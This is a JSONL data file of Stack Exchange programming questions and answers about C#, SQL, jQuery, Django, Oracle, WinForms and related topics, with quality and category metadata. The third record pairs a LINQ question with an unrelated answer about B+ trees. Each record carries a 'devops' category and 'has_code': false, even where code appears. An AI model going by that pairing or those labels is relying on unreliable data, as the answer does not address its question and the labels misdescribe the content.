{"id": "hf_4f8be3ad8cef", "question": "<p>Is it possible to generate a XML Schema of a Database programatically with .Net and C#? I want to look into NDbUnit but for big databases it would not really be feasible to make a Schema manually? </p>\n", "question_body": "", "answer": "Is it possible to generate a XML\n  Schema from a Database?\nIt sure is,\nXMLSpy\ncan generate XML Schema from a database.\nThere's\nanother way\n, though I've never tested it:\n```\n```\ncreate table Person\n(\nAge int not NULL check( Age > 0) ,\nHeight numeric(10,2) not NULL check( Height > 5),\nGender varchar(5) not null check( Gender in ('M', 'F', 'O')),\nBirthDate datetime null,\n)\n\nDECLARE @schema xml\nSET @schema = (SELECT * FROM Person FOR XML AUTO, ELEMENTS, XMLSCHEMA('PersonSchema'))\nselect @schema\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:46.145136"}
{"id": "hf_a7aa7c79bb7f", "question": "<p>How can I find the location of exe that runs as a windows service in run-time?</p>\n", "question_body": "", "answer": "If your executable attaches itself to a particular port you could parse the output from\n```\n```\nnetstat -ab\n```\n```\nProbably not the most attractive solution though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:46.173966"}
{"id": "hf_5279303a25f1", "question": "<p>The code below always return an empty array from <code>GetModifiedMembers(object)</code>\nbut <code>dx.GetChangeSet().Updates.Contains( foo )</code> returns true.</p>\n\n<pre><code>DataContext dx = new DataContext( string.Empty );\nMockLinqDataObject foo = new MockLinqDataObject();\ndx.GetTable( foo.GetType() ).Attach( foo );\n\nfoo.PK = Guid.NewGuid();\n\n// always returns empty array\nModifiedMemberInfo[] arr_Result = dx.GetTable( foo.GetType() ).GetModifiedMembers( foo );\nbool isOk = ( arr_Result.Length == 1 );\nreturn isOk;\n</code></pre>\n\n<p>Does anyone know what there is wrong?</p>\n\n<p>Thanks in advance?</p>\n", "question_body": "", "answer": "Why you have difficulty in locating the root? go from parent to parent until parent is not set.\nBTW Are you talking about B+ trees? They auto balance using blocks of children that get split when a threshold is exceeded look at this image in wikipedia", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:46.218903"}
{"id": "hf_54b3b083eebe", "question": "<p>I am creating a mobile web application using asp.net. The application must support iPhone, Blackberry and Windows Mobile Platform. What are the low things which should be taken care of while developing this application. Is there any best practices list available for this?</p>\n\n<p><strong>Summary:</strong>  </p>\n", "question_body": "", "answer": "Can you add some more info? If you are developing a application for all those platforms, I would guess you are creating either some sort of web-services or just a \"standard\" web-application?\nIf it's just a standard web-application, I think it's a bit hard to ensure a good compatibility due to the fact that javascript, which is widely used in webapplications isn't always implemented in browsers for mobile phones.... Yes, if you have Opera, and not Pocket Internet Explorer, it get's a bit better. When it comes to Blackberry I'm not quite sure how well the browser performs.\nIphone on the other hand is probably \"easy\" to develop for, since it's default browser is probably good at javascript - just as Opera mini.\nAlso - Other graphical issues due to the fact that many Windows Mobile devices have a reather low resolution should also be taken in consideration, but this is eventually getting better with the new devices beeing released :) (As Touch HD, Omnia, Diamond etc)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:46.308943"}
{"id": "hf_dc468e8d9273", "question": "<p>P1 and P2 are processes or nodes in a cluster. f1 and f2 are their flags. Supposing  strong memory model, and that both processes may be restarted at any moment, and that restarting a process clears it's flag, here's an algorithm that I came up with and couldn't yet break, but that bothers me for it's not theoretically proven and looks too simple compared with Peterson's.</p>\n\n<pre><code>P1 start:\nset f1\nif f2 set then clear f1, wait some, goto start\nelse enter critical section\ndo whatever\nclear f1\n\nP2 start:\nset f2\nif f1 set then clear f2, wait some, goto start\nelse enter critical section\ndo whatever\nclear f2\n</code></pre>\n\n<p>Can anybody see a flow? Except may be that one of the processes may starve the other by quickly re-entering the section?</p>\n", "question_body": "", "answer": "If the \"if X set then clear Y\" operation is not atomic, there's a potential race condition that could prevent either from getting inside the critical section. I've tried to outline the flow below:\n```\n```\nP1: set f1\nP2: set f2\nP1: is f2 set?\nP2: is f1 set?\nP1: yes, clear f1\nP2: yes, clear f2\nP1: start wait\nP2: start wait\nP1: end wait\nP2: end wait\nP1: goto start\nP2: goto start\n```\n```\nThis could potentially go on forever, until there's a difference in the allocation done by the task scheduler, or the wait times for the two P are different from one another.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:46.332135"}
{"id": "hf_5800af361646", "question": "<p>I have two tables, <code>movies</code> and <code>categories</code>, and I want to get an ordered list by <strong>categoryID</strong> first and then by <strong>Name</strong>.</p>\n<p>The movie table has three columns <strong>ID, Name and CategoryID</strong>.\nThe category table has two columns <strong>ID and Name</strong>.</p>\n<p>I tried something like the following, but it didn't work.</p>\n<pre><code>var movies = _db.Movies.OrderBy( m =&gt; { m.CategoryID, m.Name })\n</code></pre>\n", "question_body": "", "answer": "This should work for you:\n```\n```\nvar movies = _db.Movies.OrderBy(c => c.Category).ThenBy(n => n.Name)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:46.355242"}
{"id": "hf_d807cd94acd6", "question": "<p>How do I send a cross-domain POST request via JavaScript?</p>\n\n<p>Notes - it shouldn't refresh the page, and I need to grab and parse the response afterwards.</p>\n", "question_body": "", "answer": "Create an iFrame,\nput a form in it with Hidden inputs,\nset the form's action to the URL,\nAdd iframe to document\nsubmit the form\nPseudocode\n```\n```\nvar ifr = document.createElement('iframe');\n var frm = document.createElement('form');\n frm.setAttribute(\"action\", \"yoururl\");\n frm.setAttribute(\"method\", \"post\");\n\n // create hidden inputs, add them\n // not shown, but similar (create, setAttribute, appendChild)\n\n ifr.appendChild(frm);\n document.body.appendChild(ifr);\n frm.submit();\n```\n```\nYou probably want to style the iframe, to be hidden and absolutely positioned.  Not sure cross site posting will be allowed by the browser, but if so, this is how to do it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:46.405109"}
{"id": "hf_0dcbff99cd3c", "question": "<p>I would like to get all descendant text nodes of an element, as a jQuery collection. What is the best way to do that?</p>\n", "question_body": "", "answer": "Jauco posted a good solution in a comment, so I'm copying it here:\n```\n```\n$(elem)\n  .contents()\n  .filter(function() {\n    return this.nodeType === 3; //Node.TEXT_NODE\n  });\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:46.423950"}
{"id": "hf_b08385e3cb85", "question": "<p>can i somehow compare two numbers in regex?\ni want regex that is correct for 10-12, but incorrect for 12-10. I mean that 10 must be smaller than 12.\nI want to do it in Javascript.</p>\n", "question_body": "", "answer": "I wouldn't use regex for this.  I'd split the string on the operator, then compare the two resulting numbers based on what operator I found (I'm assuming\n```\n10+12\n```\nand\n```\n12+10\n```\nwould both be legal).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:46.444693"}
{"id": "hf_7fca7bc3b8e1", "question": "<p>I'm trying to ensure a script remains running on a development server. It collates stats and provides a web service so it's supposed to persist, yet a few times a day, it dies off for unknown reasons. When we notice we just launch it again, but it's a pain in the rear and some users don't have permission (or the knowhow) to launch it up.</p>\n\n<p>The programmer in me wants to spend a few hours getting to the bottom of the problem but the busy person in me thinks there must be an easy way to detect if an app is not running, and launch it again.</p>\n\n<p>I know I <em>could</em> cron-script ps through grep:</p>\n\n<pre><code>ps -A | grep appname\n</code></pre>\n\n<p>But again, that's another hour of my life wasted on doing something that must already exist... Is there not a pre-made app that I can pass an executable (optionally with arguments) and that will keep a process running indefinitely?</p>\n\n<p>In case it makes any difference, it's Ubuntu.</p>\n", "question_body": "", "answer": "Monit\nis perfect for this :)\nYou can write simple config files which tell monit to watch e.g. a TCP port, a PID file etc\nmonit will run a command you specify when the process it is monitoring is unavailable/using too much memory/is pegging the CPU for too long/etc. It will also pop out an email alert telling you what happened and whether it could do anything about it.\nWe use it to keep a load of our websites running while giving us early warning when something's going wrong.\n-- Your faithful employee, Monit", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:46.465962"}
{"id": "hf_36b03207c5b5", "question": "<p>When I render a page using the Django template renderer, I can pass in a dictionary variable containing various values to manipulate them in the page using <code>{{ myVar }}</code>.</p>\n\n<p>Is there a way to access the same variable in Javascript (perhaps using the DOM, I don't know how Django makes the variables accessible)? I want to be able to lookup details using an AJAX lookup based on the values contained in the variables passed in.</p>\n", "question_body": "", "answer": "The\n```\n{{variable}}\n```\nis substituted directly into the HTML. Do a view source; it isn't a \"variable\" or anything like it. It's just rendered text.\nHaving said that, you can put this kind of substitution into your JavaScript.\n```\n```\n<script type=\"text/javascript\"> \n   var a = \"{{someDjangoVariable}}\";\n</script>\n```\n```\nThis gives you \"dynamic\" javascript.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:46.485774"}
{"id": "hf_9d624c0a2d0a", "question": "<p>Since Terminal appeared I've saved as ~/mySrvr.term a modified stock .term file\nwhich opens to execute an ssh to a remote server and to modify the appearance.\nI have NOT been able to save \"use option key as meta\" for emacs-ery; there's no slot for it\nin the term file and I'm reluctant to wrestle with a keyboard dictionary file.\nAm I missing something simple?  How do I get option-as-meta to stick between sessions?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Not sure if this helps, but when I go Shell -> Export Settings and save the file as a .terminal file, there are a few lines that save my option-as-meta preference:\n```\n```\n<key>useOptionAsMetaKey</key>\n<true/>\n```\n```\nThese lines are for a .terminal preference file, not for a .term (which is pretty hard to Google for) so they may not be what you're looking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:46.559750"}
{"id": "hf_a49282eea6de", "question": "<p>I have an IIS located on serverA</p>\n\n<p>I have userA at locationA who has opened a content management system site, hosted on serverA.</p>\n\n<p>One of the features of the system is that it allows the user to move a file to LocationB, all within the same network. Now when this move occurs and due to bandwidth restrictions, would this file move from LocationA to serverA to LocationB or is there a way for me to move the file from LocationA to LocationB without going through serverA, i.e using local memory on serverA</p>\n\n<p>I am not using BITS at the moment.</p>\n", "question_body": "", "answer": "That's entirely going to depend on how the CMS works - if it does an\n```\nscp\n```\nin the background, then the answer is yes - it skips the local machine.\nIf it uses http to transfer it to the user's machine then back out, the answer is \"no\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:46.582883"}
{"id": "hf_ac6d6cb8e8ef", "question": "<p>I have two Tables.</p>\n\n<p>Order - With Columns OrderID, OrderStatusID<br />\nOrderStatus - With Columns OrderStatusID, Description</p>\n\n<p>I have an Order Object which calls to the database and fills its properties for use in my code.  Right now I have access to Order.OrderStatusID, but in my application I really need access to the \"Description\" field.</p>\n\n<p>How do you handle this elegantly with good OO design?</p>\n", "question_body": "", "answer": "You can use a SQL select statement with a Join to the OrderStatus table, and include the columns yo want from each table ...\n```\n```\nSelect O.OrderId, O.OrderStatusId, S.Descriptiuon\nFrom Order O\n    Join OrderStatus S \n        On S.OrderStatusId = O.OrderStatusId\nWhere OrderId = 23 -- or whatever\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:46.634804"}
{"id": "hf_cefa23e014d4", "question": "<p>Is there a way to read the properties inside an <a href=\"https://en.wikipedia.org/wiki/Windows_Installer\" rel=\"nofollow noreferrer\">MSI</a> file?</p>\n<p>For example, given a MSI file named <em>Testpackage.msi</em>, I need to find</p>\n<pre><code>productName\nPackageCode\nversion\n</code></pre>\n<p>This I am going to use it with WMI uninstall</p>\n<pre><code>string objPath = string.Format(&quot;Win32_Product.IdentifyingNumber='{0}', Name='{1}', Version='{2}'&quot;, &quot;{AC9C1263-2BA8-4863-BE18-01232375CE42}&quot;, &quot;testproduct&quot;, &quot;10.0.0.0&quot;);\n</code></pre>\n<p>Using <a href=\"http://msdn.microsoft.com/en-us/library/aa370557(v=vs.85).aspx\" rel=\"nofollow noreferrer\">Orca</a> is a great option, if this can be achieved programmatically. Then I can use this to generate automatic release notes. And in un-installing program too.</p>\n", "question_body": "", "answer": "You can use\nMicrosoft's Orca.exe\n.  Orca will allow you to open the MSI and edit/view all the tables in it. You will have to download the entire\nWindows SDK\nin order to get it, but thankfully that is free.\nOne alternative (which might be faster due to the download size of the SDK) is to use dark.exe from the\nWiX project\n.  Dark is a MSI decompiler, which will export everything into an XML file and collection of resources. The XML it outputs will have the information you are looking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:46.703101"}
{"id": "hf_d3f01e3d0940", "question": "<p>is there a managed code (without adding COM component or wrapped called to C++ routines) way to add integrated security to a C# Managed code assembly?  </p>\n\n<p>i.e. I want to write a client-server system where the server uses Remoting instead of IIS, but I want the client to automatically pass it's credentials to the server just like a browser does when communicating with an IIS server that has Integrated security enabled... </p>\n\n<p>Can this be done? and if so, where is there some examples ?</p>\n", "question_body": "", "answer": "When you say \"remoting instead of IIS,\" what exactly do you mean? A remoting endpoint (the server end) is typically hosted in IIS since this gives you lots of stuff for free, like authentication, scaling through load balancing - especially for singlecall type objects - that is to say, you don't want to keep state for successive calls to the endpoint.\nYou can host a remoting endpoint using the http stack in a client app also in xp/sp2 and beyond utilising the http.sys driver directly (which is handleded automatically for you btw).\nRegardless, for automatic logon with NTLM credentials, I suggest you host remoting in IIS, and use System.Net.CredentialCache.DefaultCredentials for the client's credentials your client app. This will pass the context credentials to the server app, presuming the current security zone (intranet/internet/trusted/etc) allows it.\n-Oisin", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:46.759908"}
{"id": "hf_8e9226858422", "question": "<p>I'm wondering what good ways there would be make assertions about synchronization or something so that I could detect synchronization violations (while testing).</p>\n\n<p>That would be used for example for the case that I'd have a class that is not thread-safe and that isn't going to be thread-safe. With some way I would have some assertion that would inform me (log or something) if some method(s) of it was called from multiple threads.</p>\n\n<p>I'm longing for something similar that could be made for AWT dispatch thread with the following:</p>\n\n<pre><code>public static void checkDispatchThread() {\n    if(!SwingUtilities.isEventDispatchThread()) {\n        throw new RuntimeException(\"GUI change made outside AWT dispatch thread\");\n    }\n}\n</code></pre>\n\n<p>I'd only want something more general. The problem description isn't so clear but I hope somebody has some good approaches =)</p>\n", "question_body": "", "answer": "For the specific example you give, SwingLabs has some helper code to detect event thread violations and hangs.\nhttps://swinghelper.dev.java.net/\nA while back, I worked with the JProbe java profiling tools.  One of their tools (threadalyzer?) looked for thread sync violations.  Looking at their web page, I don't see a tool by that name or quite what I remember.  But you might want to take a look.\nhttp://www.quest.com/jprobe/performance-home.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:46.782794"}
{"id": "hf_9dadcc83b22c", "question": "<p>I've been putting together a small web form for our technicians to use from their phones out in the field.  However I'm having a lot of trouble getting things working using ASP.NET Mobile, and there seems to be few resources out there to help learn this stuff.  I'm also having trouble <a href=\"https://stackoverflow.com/questions/291638/how-do-you-get-the-value-of-a-bound-mobilelistitem\" title=\"Getting Help\">getting help</a>.  </p>\n\n<p>So the thing is, do I really need to use the mobile controls?  The phones will all have web browsers, so I'm thinking if I'm careful with the interface I can get as good or better results than using the mobile controls. </p>\n\n<p>The only thing I would like from the mobile controls is the PhoneCall control... so the follow up question would be: Can I get the functionality of the PhoneCall control without using it?</p>\n", "question_body": "", "answer": "Use mobile controls has same adventages that web controls in web. Using Mobile Controls + Controls Adapters + WURFL helps to developing very fast to many devices.\nYes, you can use WTAI primitives of WML:\n```\n<a ref=\"wtai://wp/mc;34123456789\">Call</a>\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:46.817182"}
{"id": "hf_71507fd194ee", "question": "<p>I'm wondering why the <code>assert</code> keyword is so underused in Java? I've almost never seen them used, but I think they're a great idea. I certainly much prefer the brevity of:</p>\n\n<pre><code>assert param != null : \"Param cannot be null\";\n</code></pre>\n\n<p>to the verbosity of:</p>\n\n<pre><code>if (param == null) {\n    throw new IllegalArgumentException(\"Param cannot be null\");\n}\n</code></pre>\n\n<p>My suspicion is that they're underused because</p>\n\n<ul>\n<li>They arrived relatively late (Java 1.4), by which time many people had already established their Java programming style/habit</li>\n<li>They are turned off at runtime by default</li>\n</ul>\n", "question_body": "", "answer": "In fact they arrived in Java 1.4.\nI think the main problem is that when you code in an environment where you do not manage JVM options directly by yourself like in\nEclipse\nor J2EE servers (in both cases it is possible to change JVM options, but you need to deeply search to find where it can be done), it is easier (I mean it requires less effort) to use\n```\nif\n```\nand exceptions (or worse not to use anything).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:46.840206"}
{"id": "hf_95b18be1f2c7", "question": "<p>In vb.net / winforms, how can a hashtable be bound to a drop down list or any other datasource-driven control?</p>\n", "question_body": "", "answer": "Just use the dropdown lists's Datasource property\n```\n```\nDropDownList dd = new DropDownList();\n   Hashtable mycountries = New Hashtable();\n   mycountries.Add(\"N\",\"Norway\");\n   mycountries.Add(\"S\",\"Sweden\");\n   mycountries.Add(\"F\",\"France\");\n   mycountries.Add(\"I\",\"Italy\");\n   dd.DataSource=mycountries;\n   dd.DataValueField=\"Key\";\n   dd.DataTextField=\"Value\";\n   dd.DataBind();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:46.874394"}
{"id": "hf_e82671b6e767", "question": "<p>Question says it all really...</p>\n\n<p>I have tried changing the \"Allow non-admin users to run this program\" setting on the property pages, and have also given the non-admin user in question what looks like the correct privileges in Component Services -> DCOM Config.</p>\n\n<p>Is there anything else I can do ?</p>\n\n<p>This is on Server2003 BTW.</p>\n\n<p>Thanks</p>\n\n<p>Matt</p>\n", "question_body": "", "answer": "I saw your question a few days ago, but didn't answer because all I have is something for you to try. I expected someone else with knowledgeable answer to respond, but since you still have no answers I'll tell you the little bit I know. When our tech support department installs our app onto a computer running XP or Vista they log in with an administrator account the first time they run the app. Apparently that allows what ever needs to happen with the ActiveX DLLs to work. After that the users can log in with their regular account and the app is still happy.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:46.898472"}
{"id": "hf_1ef76220945e", "question": "<p>Clearly separation of concerns is a desirable trait in our code and the first obvious step most people take is to separate data access from presentation. In my situation, LINQ To SQL is being used within data access objects for the data access.</p>\n\n<p>My question is, where should the use of the entity object stop? To clarify, I could pass the entity objects up to the domain layer but I feel as though an entity object is more than just a data object - it's like passing a bit of the DAL up to the next layer too.</p>\n\n<p>Let's say I have a UserDAL class, should it expose an entity User object to the domain when a method GetByID() is called, or should it spit out a plain data object purely for storing the data and nothing more? (seems like wasteful duplication in this case)</p>\n\n<p>What have you guys done in this same situation? Is there an alternative method to this?</p>\n\n<p>Hope that wasn't too vague.</p>\n\n<p>Thanks a lot,</p>\n\n<p>Martin.</p>\n", "question_body": "", "answer": "I return IQueryable of POCOs from my DAL (which uses LINQ2SQL), so no Linq entity object ever leaves the DAL. These POCOs are returned to the service and UI layers, and are also used to pass data back into the DAL for processing. Linq handles this very well:\n```\n```\nIQueryable<MyObjects.Product> products = from p in linqDataContext.Products \n                                          select new MyObjects.Product //POCO\n                                          {\n                                              ProductID = p.ProductID\n                                          };\n return products;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:46.920452"}
{"id": "hf_3f7baa12f208", "question": "<p>Seeing as C# can't <code>switch</code> on a Type (which I gather wasn't added as a special case because <code>is</code> relationships mean that more than one distinct <code>case</code> might apply), is there a better way to simulate switching on type other than this?</p>\n\n<pre><code>void Foo(object o)\n{\n    if (o is A)\n    {\n        ((A)o).Hop();\n    }\n    else if (o is B)\n    {\n        ((B)o).Skip();\n    }\n    else\n    {\n        throw new ArgumentException(\"Unexpected type: \" + o.GetType());\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "One option is to have a dictionary from\n```\nType\n```\nto\n```\nAction\n```\n(or some other delegate). Look up the action based on the type, and then execute it. I've used this for factories before now.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:46.954362"}
{"id": "hf_a2d0e3612851", "question": "<p>I'm trying to have an XSLT that copies most of the tags but removes empty \"<code>&lt;b/&gt;</code>\" tags. That is, it should copy as-is \"<code>&lt;b&gt; &lt;/b&gt;</code>\" or \"<code>&lt;b&gt;toto&lt;/b&gt;</code>\" but completely remove \"<code>&lt;b/&gt;</code>\".</p>\n\n<p>I think the template would look like :</p>\n\n<pre><code>&lt;xsl:template match=\"b\"&gt;\n  &lt;xsl:if test=\".hasChildren()\"&gt;\n    &lt;xsl:element name=\"b\"&gt;\n      &lt;xsl:apply-templates/&gt;\n    &lt;/xsl:element&gt;\n  &lt;/xsl:if&gt;\n&lt;/xsl:template&gt;\n</code></pre>\n\n<p>But of course, the \"<code>hasChildren()</code>\" part doesn't exist ... Any idea ?</p>\n", "question_body": "", "answer": "I wonder if this will work?\n```\n```\n<xsl:template match=\"b\">\n  <xsl:if test=\"b/text()\">\n    ...\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:46.976063"}
{"id": "hf_744a903f97ea", "question": "<p>Is there anybody who has successfully accessed a Web service from an Oracle stored procedure?  If so, was it a Java stored procedure?  A PL/SQL stored procedure?</p>\n\n<p>Is there any reason why I should not be trying to access a WS from a stored proc?</p>\n\n<p>Here are a couple refs that I found so far</p>\n\n<ul>\n<li><a href=\"http://download.oracle.com/docs/cd/B19306_01/java.102/b14187/chtwelve.htm#CBBEFCHI\" rel=\"noreferrer\">Database Web Services</a></li>\n<li><a href=\"http://www.oracle.com/technology/sample_code/tech/java/jsp/samples/wsclient/Readme.html\" rel=\"noreferrer\">Calling external Web Service from a Java Stored Procedure</a></li>\n</ul>\n\n<p><em>..Just to clarify, this is for SOAP calls</em></p>\n", "question_body": "", "answer": "First off, what sort of web service are you calling?  I am assuming either SOAP or REST.\nFor REST web services, UTL_HTTP is often more than sufficient, combined with a bit of XPath in a simple PL/SQL stored procedure.\nFor SOAP web services, it depends on how sophisticated you need (or want) to be.  You can certainly use XQuery to create an XML document that meets the spec for the web service, use UTL_HTTP to post the document and get the response, and then use some XPath to parse the response all in PL/SQL.  This is a relatively manual and relatively brute-force solution, but if you are talking about a handful of web services, it involves a minimum of infrastructure and the calls can get knocked together pretty quickly.\nIf you expect the calls to evolve over time or you expect there to be a number of procedures calling a number of web services, it probably makes sense to invest time in something like UTL_DBWS (this isn't something, though, that you generally get working in a couple hours).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:46.998843"}
{"id": "hf_0ab62a93a726", "question": "<p>I want to create a trace on a database server from my C# app, like what you do in SQL Server Profiler. I have found stored procedures (sys.sp_trace_create etc...) that dont seem to work for my SQL management studio. I was wondering if anyone could help with the coding, or where i would start to do this?!</p>\n", "question_body": "", "answer": "Are you wanting this to be real-time, just like the Profiler itself? That'd be tough to do. You'd basically be re-creating the profiler.\nIf that is not a requirement, I would recommend simply calling the sp_trace_create stored procs that you found to start a server-side trace, then use your application to open up the files that this trace produces.\nThe EASIEST way to learn how this works is to run the SQL Profiler itself, set all the options you want, then click Run, and immediately click Stop. Then go to File, Export, Script Trace Definition, and choose the appropriate version.\nThis should give you a TSQL script that puts all the correct pieces together, including all the trace events, columns, etc.\nMore technical history of the profiler:\nThis old SQLMag article\nhas some history of the Profiler, which replaced an app called \"SQL Trace\" when SQL 7.0 was introduced.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:47.090659"}
{"id": "hf_6ee5a5441c31", "question": "<p>I'm working with a WinForm app in C#, after I type something in a textbox I want to hit the Enter key but the textbox still has focus (flashing cursor is still in textbox), how can I achieve this?</p>\n", "question_body": "", "answer": "The simple option is just to set the forms's AcceptButton to the button you want pressed (usually \"OK\" etc):\n```\n```\nTextBox tb = new TextBox();\n    Button btn = new Button { Dock = DockStyle.Bottom };\n    btn.Click += delegate { Debug.WriteLine(\"Submit: \" + tb.Text); };\n    Application.Run(new Form { AcceptButton = btn, Controls = { tb, btn } });\n```\n```\nIf this isn't an option, you can look at the KeyDown event etc, but that is more work...\n```\n```\nTextBox tb = new TextBox();\n    Button btn = new Button { Dock = DockStyle.Bottom };\n    btn.Click += delegate { Debug.WriteLine(\"Submit: \" + tb.Text); };\n    tb.KeyDown += (sender,args) => {\n        if (args.KeyCode == Keys.Return)\n        {\n            btn.PerformClick();\n        }\n    };\n    Application.Run(new Form { Controls = { tb, btn } });\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:47.123671"}
